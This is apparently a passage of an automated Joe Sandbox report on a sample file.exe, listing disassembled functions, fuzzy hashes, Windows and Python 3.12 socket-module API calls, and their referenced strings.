Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 932ec4e2928e780482e574e4f9f25255290cad24d0aad0fbe7e705cd36004532
Instruction ID: 19c5908318b93d107f7cd9f1cd56c85d67b7093928c7cdb13c326e28639cc69b
Opcode Fuzzy Hash: 932ec4e2928e780482e574e4f9f25255290cad24d0aad0fbe7e705cd36004532
Instruction Fuzzy Hash: 9D21B432A0D68191EB20AB15D4446EDB3B3FB84B84FE54036DA8D43288FF7CE959C761

Function 00007FF78D282AD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78D288AC0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF78D282A5B), ref: 00007FF78D288AFC

MessageBoxW.USER32 ref: 00007FF78D282BA7
MessageBoxA.USER32 ref: 00007FF78D282BC3

Strings

Fatal error detected, xrefs: 00007FF78D282B7B, 00007FF78D282BB5

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: d081e0a66573175eca510e99e1f59079c9757ef175be64cc33851817d74da9d9
Instruction ID: 130a66ffceccbf93880c694cee6cd49289e6d9ea52418fa577782326ec8849f3
Opcode Fuzzy Hash: d081e0a66573175eca510e99e1f59079c9757ef175be64cc33851817d74da9d9
Instruction Fuzzy Hash: AE21957262C68181E730EB11F4516EAE364FF84784FD05135EA8D47AA9EF3CD209CB20

Function 00007FF78D282BF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78D288AC0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF78D282A5B), ref: 00007FF78D288AFC

MessageBoxW.USER32 ref: 00007FF78D282CC7
MessageBoxA.USER32 ref: 00007FF78D282CE3

Strings

Error detected, xrefs: 00007FF78D282C9B, 00007FF78D282CD5

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
Opcode ID: 74dc3d6dd249b03d5abcd0e7376933fef2d51cbb6ed7f68fb10628ccc813605b
Instruction ID: 78952af120e312252de5fb424affa04cab4776018cce45b52bba3f587d5513fd
Opcode Fuzzy Hash: 74dc3d6dd249b03d5abcd0e7376933fef2d51cbb6ed7f68fb10628ccc813605b
Instruction Fuzzy Hash: 7921957262C68591E730EB11F4516EAE364FF84784FD05135EA8D47AA9EF3CD209CB20

Function 00007FF78D28F4E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF78D28F538
RaiseException.KERNEL32 ref: 00007FF78D28F579

Strings

csm, xrefs: 00007FF78D28F566

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0c73517e8dbe59d3c4096d6518ad8e581e50630e1d40e9e507a2faddc9e82aee
Instruction ID: d25ddf9be2d186e529b118967146ddae4a326e2972ddcf1f173d8e168c3b4d5e
Opcode Fuzzy Hash: 0c73517e8dbe59d3c4096d6518ad8e581e50630e1d40e9e507a2faddc9e82aee
Instruction Fuzzy Hash: 57113D3261CB8182EB619F15F4402A9B7E4FB88B94FA84231DE8D47769EF3CD555CB10

Function 00007FF78D29F97C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D29F9AC
GetDriveTypeW.KERNEL32 ref: 00007FF78D29F9EC

Strings

:, xrefs: 00007FF78D29F9D5

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 20c1b6c8f6038ae3602a71ce8d316d4a80e64af07598ab37492e6242e6d6744e
Instruction ID: 677ba663235ceea66ab3f12632494580dd73247bf0b116cb0059c24ae1d000a4
Opcode Fuzzy Hash: 20c1b6c8f6038ae3602a71ce8d316d4a80e64af07598ab37492e6242e6d6744e
Instruction Fuzzy Hash: 2A018F22A1C652A6FB70BF7094616FEB3A1FF44708FE4003AD54D82691FE3CE549CA24

Analysis Process: file.exePID: 6792, Parent PID: 6740COMMON

Executed Functions

Function 00007FFE132210C0 Relevance: 694.3, APIs: 203, Strings: 193, Instructions: 1313networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FFE132210F8
Py_AtExit.PYTHON312 ref: 00007FFE1322110D
PyErr_NewException.PYTHON312 ref: 00007FFE13221133
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE13221153
PyErr_NewException.PYTHON312 ref: 00007FFE13221175
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE13221195
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE132211B7
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE132211D9
PyType_FromMetaclass.PYTHON312 ref: 00007FFE132211F6
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE13221215
PyModule_AddType.PYTHON312 ref: 00007FFE13221229
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE13221248
PyMem_Malloc.PYTHON312 ref: 00007FFE1322125B
PyCapsule_New.PYTHON312 ref: 00007FFE132212BF
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE132212DE
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322130A
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221328
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221346
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221364
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221382
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132213A0
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132213BE
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132213DC
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132213FA
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221418
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221436
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221454
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221472
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221490
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132214AE
PyModule_AddStringConstant.PYTHON312 ref: 00007FFE132214CD
PyModule_AddStringConstant.PYTHON312 ref: 00007FFE132214EC
PyModule_AddStringConstant.PYTHON312 ref: 00007FFE1322150B
PyModule_AddStringConstant.PYTHON312 ref: 00007FFE1322152A
PyModule_AddStringConstant.PYTHON312 ref: 00007FFE13221549
PyModule_AddStringConstant.PYTHON312 ref: 00007FFE13221568
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221586
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132215A4
PyModule_AddStringConstant.PYTHON312 ref: 00007FFE132215C3
PyModule_AddStringConstant.PYTHON312 ref: 00007FFE132215E2
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221600
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322161E
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322163C
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322165A
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221678
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221696
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132216B4
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132216D2
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132216F0
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322170E
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322172C
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322174A
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221768
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221786
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132217A4
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132217C2
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132217E0
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132217FE
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322181C
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322183A
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221858
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221876
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221894
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132218B2
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132218D0
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132218EE
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322190C
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322192A
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221948
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221966
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221984
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132219A2
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132219C0
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132219DE
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132219FC
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221A1A
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221A38
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221A53
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221A6E
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221A8C
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221AAA
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221AC8
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221AE6
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221B04
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221B22
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221B40
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221B5E
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221B7C
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221B9A
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221BB8
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221BD6
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221BF4
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221C12
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221C30
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221C4E
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221C6C
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221C8A
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221CA8
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221CC6
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221CE4
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221D02
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221D20
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221D3E
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221D5C
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221D7A
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221D98
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221DB6
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221DD4
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221DF2
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221E10
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221E2E
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221E49
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221E67
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221E85
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221EA3
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221EC1
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221EDF
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221EFD
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221F1B
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221F39
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221F57
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221F75
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221F93
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221FB1
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221FCF
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13221FED
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322200B
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222029
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222047
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222065
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222083
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132220A1
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132220BF
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132220DD
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132220FB
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222119
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222137
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222155
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222173
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222191
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132221AF
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132221CD
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132221EB
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222209
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222227
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222245
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222263
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222281
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322229F
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132222BD
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132222DB
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132222F9
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222317
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222335
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222353
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222371
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322238F
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132223AD
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132223CB
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132223E9
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222407
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222425
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222443
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222461
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322247F
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322249D
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132224BB
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132224D9
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132224F7
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222515
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222533
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222551
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322256F
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322258D
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132225AB
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132225C9
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE132225E7
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222605
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222623
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322263E
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322265C
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322267A
PyLong_FromUnsignedLong.PYTHON312 ref: 00007FFE132226D5
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE132226F0
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322272C
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE1322274A
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222768
PyModule_AddIntConstant.PYTHON312 ref: 00007FFE13222786
PyModule_GetDict.PYTHON312 ref: 00007FFE13222797
memset.VCRUNTIME140 ref: 00007FFE132227B6
VerSetConditionMask.KERNEL32 ref: 00007FFE132227D6
VerSetConditionMask.KERNEL32 ref: 00007FFE132227E7
VerSetConditionMask.KERNEL32 ref: 00007FFE132227F8
VerifyVersionInfoA.KERNEL32 ref: 00007FFE1322281F
PyUnicode_FromString.PYTHON312 ref: 00007FFE1322283B
_PyDict_Pop.PYTHON312 ref: 00007FFE13222856
_Py_Dealloc.PYTHON312 ref: 00007FFE1322286D
PyErr_Format.PYTHON312 ref: 00007FFE132239DC
PyErr_NoMemory.PYTHON312 ref: 00007FFE13223A0E
_Py_Dealloc.PYTHON312 ref: 00007FFE13223A48

Strings

IPPROTO_ICLFXBM, xrefs: 00007FFE13221D16
SO_KEEPALIVE, xrefs: 00007FFE13221704
MSG_ERRQUEUE, xrefs: 00007FFE1322197A
IPV6_PKTINFO, xrefs: 00007FFE1322223B
IPV6_RTHDR, xrefs: 00007FFE13222295
AF_LINK, xrefs: 00007FFE132213B4
FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF, xrefs: 00007FFE132214FA
socket.herror, xrefs: 00007FFE13221117
timeout, xrefs: 00007FFE132211CC
HV_GUID_ZERO, xrefs: 00007FFE132214C6
00000000-0000-0000-0000-000000000000, xrefs: 00007FFE132214BC, 00007FFE132214DB
IPPROTO_UDP, xrefs: 00007FFE13221B72
IPPROTO_PGM, xrefs: 00007FFE13221DAC
MSG_PEEK, xrefs: 00007FFE132218E4
AF_INET6, xrefs: 00007FFE13221378
NI_NUMERICSERV, xrefs: 00007FFE132225FB
IPPROTO_EGP, xrefs: 00007FFE13221B36
SO_DONTROUTE, xrefs: 00007FFE13221722
IPV6_UNICAST_HOPS, xrefs: 00007FFE13222187
IPV6_HOPOPTS, xrefs: 00007FFE1322221D
SO_LINGER, xrefs: 00007FFE1322177C
NI_MAXHOST, xrefs: 00007FFE13222565
EAI_FAIL, xrefs: 00007FFE132223C1
AF_HYPERV, xrefs: 00007FFE1322140E
NI_NAMEREQD, xrefs: 00007FFE132225DD
IPPROTO_RDP, xrefs: 00007FFE13221D8E
EAI_SOCKTYPE, xrefs: 00007FFE13222475
NI_NOFQDN, xrefs: 00007FFE132225A1
NI_NUMERICHOST, xrefs: 00007FFE132225BF
AF_IPX, xrefs: 00007FFE1322133C
AF_SNA, xrefs: 00007FFE132213D2
WSAStartup failed: network not ready, xrefs: 00007FFE132239E8
IP_BLOCK_SOURCE, xrefs: 00007FFE13222097
SO_RCVBUF, xrefs: 00007FFE132217D6
NI_MAXSERV, xrefs: 00007FFE13222583
SIO_LOOPBACK_FAST_PATH, xrefs: 00007FFE132226BA
MSG_CTRUNC, xrefs: 00007FFE1322193E
SO_ACCEPTCONN, xrefs: 00007FFE132216AA
IP_RECVDSTADDR, xrefs: 00007FFE13221FA7
HV_PROTOCOL_RAW, xrefs: 00007FFE1322142C
AI_NUMERICHOST, xrefs: 00007FFE132224CF
IP_ADD_SOURCE_MEMBERSHIP, xrefs: 00007FFE132220B5
TCP_KEEPIDLE, xrefs: 00007FFE1322230D
SOCK_RAW, xrefs: 00007FFE13221632
IPV6_DONTFRAG, xrefs: 00007FFE132221E1
gaierror, xrefs: 00007FFE1322118B
SO_BROADCAST, xrefs: 00007FFE13221740
IPPROTO_ICMPV6, xrefs: 00007FFE13221C44
SOMAXCONN, xrefs: 00007FFE132218A8
AI_V4MAPPED, xrefs: 00007FFE13222547
IPPROTO_PIM, xrefs: 00007FFE13221C9E
90DB8B89-0D35-4F79-8CE9-49EA0AC8B7CD, xrefs: 00007FFE13221519
IPPROTO_L2TP, xrefs: 00007FFE13221DCA
SocketType, xrefs: 00007FFE1322120B
HV_GUID_PARENT, xrefs: 00007FFE13221561
WSAStartup failed: requested version not supported, xrefs: 00007FFE132239F1
SO_TYPE, xrefs: 00007FFE1322188A
INADDR_NONE, xrefs: 00007FFE13221EF3
IPV6_MULTICAST_LOOP, xrefs: 00007FFE13222169
SOL_UDP, xrefs: 00007FFE13221A2E
IPV6_RECVTCLASS, xrefs: 00007FFE13222277
IPPROTO_ESP, xrefs: 00007FFE13221C08
IPPROTO_HOPOPTS, xrefs: 00007FFE13221A64
MSG_BCAST, xrefs: 00007FFE13221998
_socket.CAPI, xrefs: 00007FFE132212B8
AI_NUMERICSERV, xrefs: 00007FFE132224ED
AI_PASSIVE, xrefs: 00007FFE13222493
HVSOCKET_CONNECT_TIMEOUT_MAX, xrefs: 00007FFE13221468
SHUT_WR, xrefs: 00007FFE13222652
IPPROTO_ST, xrefs: 00007FFE13221D34
MSG_DONTROUTE, xrefs: 00007FFE13221902
RCVALL_SOCKETLEVELONLY, xrefs: 00007FFE1322275E
herror, xrefs: 00007FFE13221149
INADDR_ALLHOSTS_GROUP, xrefs: 00007FFE13221EB7
IPPROTO_IPV6, xrefs: 00007FFE13221AFA
IP_HDRINCL, xrefs: 00007FFE13221F2F
HV_GUID_CHILDREN, xrefs: 00007FFE13221523
IP_TOS, xrefs: 00007FFE13221F4D
CAPI, xrefs: 00007FFE132212D4
SO_SNDBUF, xrefs: 00007FFE132217B8
SO_ERROR, xrefs: 00007FFE1322186C
SOCK_SEQPACKET, xrefs: 00007FFE13221650
IP_OPTIONS, xrefs: 00007FFE13221F11
SOCK_RDM, xrefs: 00007FFE1322166E
AI_ADDRCONFIG, xrefs: 00007FFE13222529
IPV6_CHECKSUM, xrefs: 00007FFE132221C3
IPPROTO_PUP, xrefs: 00007FFE13221B54
IPPROTO_IGP, xrefs: 00007FFE13221D70
AF_INET, xrefs: 00007FFE1322131E
SOL_SOCKET, xrefs: 00007FFE132219D4
AF_DECnet, xrefs: 00007FFE13221396
NI_DGRAM, xrefs: 00007FFE13222619
AF_APPLETALK, xrefs: 00007FFE1322135A
BDADDR_ANY, xrefs: 00007FFE132215BC
HVSOCKET_CONNECT_TIMEOUT, xrefs: 00007FFE1322144A
IPV6_MULTICAST_HOPS, xrefs: 00007FFE1322212D
IP_ADD_MEMBERSHIP, xrefs: 00007FFE1322201F
AF_IRDA, xrefs: 00007FFE132213F0
TCP_NODELAY, xrefs: 00007FFE132222D1
INADDR_BROADCAST, xrefs: 00007FFE13221E5D
EAI_NONAME, xrefs: 00007FFE13222439
SO_EXCLUSIVEADDRUSE, xrefs: 00007FFE132216E6
SHUT_RD, xrefs: 00007FFE13222634
SOCK_DGRAM, xrefs: 00007FFE13221614
INADDR_UNSPEC_GROUP, xrefs: 00007FFE13221E99
IPPROTO_SCTP, xrefs: 00007FFE13221CBC, 00007FFE13221DE8
IPPROTO_MAX, xrefs: 00007FFE13221CF8
E0E16197-DD56-4A10-9195-5EE7A155A838, xrefs: 00007FFE13221538
HV_GUID_WILDCARD, xrefs: 00007FFE132214E5
IP_MULTICAST_LOOP, xrefs: 00007FFE13222001
IPPROTO_IDP, xrefs: 00007FFE13221B90
INADDR_MAX_LOCAL_GROUP, xrefs: 00007FFE13221ED5
IPV6_HOPLIMIT, xrefs: 00007FFE132221FF
SO_SNDTIMEO, xrefs: 00007FFE13221830
MSG_WAITALL, xrefs: 00007FFE1322195C
AF_BLUETOOTH, xrefs: 00007FFE1322157C
RCVALL_MAX, xrefs: 00007FFE1322277C
AF_UNSPEC, xrefs: 00007FFE13221300
IPPROTO_FRAGMENT, xrefs: 00007FFE13221BEA
IPPROTO_ICMP, xrefs: 00007FFE13221A82
IPPROTO_CBT, xrefs: 00007FFE13221D52
HV_GUID_BROADCAST, xrefs: 00007FFE13221504
IPPROTO_DSTOPTS, xrefs: 00007FFE13221C80
AI_ALL, xrefs: 00007FFE1322250B
SO_REUSEADDR, xrefs: 00007FFE132216C8
SO_OOBINLINE, xrefs: 00007FFE1322179A
IPV6_JOIN_GROUP, xrefs: 00007FFE132220F1
MSG_TRUNC, xrefs: 00007FFE13221920
SO_USELOOPBACK, xrefs: 00007FFE1322175E
IP_PKTINFO, xrefs: 00007FFE1322205B
MSG_OOB, xrefs: 00007FFE132218C6
has_ipv6, xrefs: 00007FFE1322123E
00:00:00:FF:FF:FF, xrefs: 00007FFE132215D1
SO_RCVLOWAT, xrefs: 00007FFE13221812
AI_CANONNAME, xrefs: 00007FFE132224B1
TCP_KEEPCNT, xrefs: 00007FFE13222349
RCVALL_OFF, xrefs: 00007FFE13222722
IPPROTO_IPV4, xrefs: 00007FFE13221ADC
INADDR_LOOPBACK, xrefs: 00007FFE13221E7B
IPPROTO_NONE, xrefs: 00007FFE13221C62
SOL_TCP, xrefs: 00007FFE13221A10
IPPROTO_RAW, xrefs: 00007FFE13221CDA
SHUT_RDWR, xrefs: 00007FFE13222670
EAI_AGAIN, xrefs: 00007FFE13222385
IPPORT_RESERVED, xrefs: 00007FFE13221E06
HVSOCKET_ADDRESS_FLAG_PASSTHRU, xrefs: 00007FFE132214A4
MSG_MCAST, xrefs: 00007FFE132219B6
00:00:00:00:00:00, xrefs: 00007FFE132215B2
INADDR_ANY, xrefs: 00007FFE13221E3F
IPV6_MULTICAST_IF, xrefs: 00007FFE1322214B
IPPROTO_TCP, xrefs: 00007FFE13221B18
SIO_KEEPALIVE_VALS, xrefs: 00007FFE132226A1
IPPROTO_ND, xrefs: 00007FFE13221BAE
error, xrefs: 00007FFE132211AA
IP_TTL, xrefs: 00007FFE13221F6B
IPV6_TCLASS, xrefs: 00007FFE132222B3
IPPROTO_GGP, xrefs: 00007FFE13221ABE
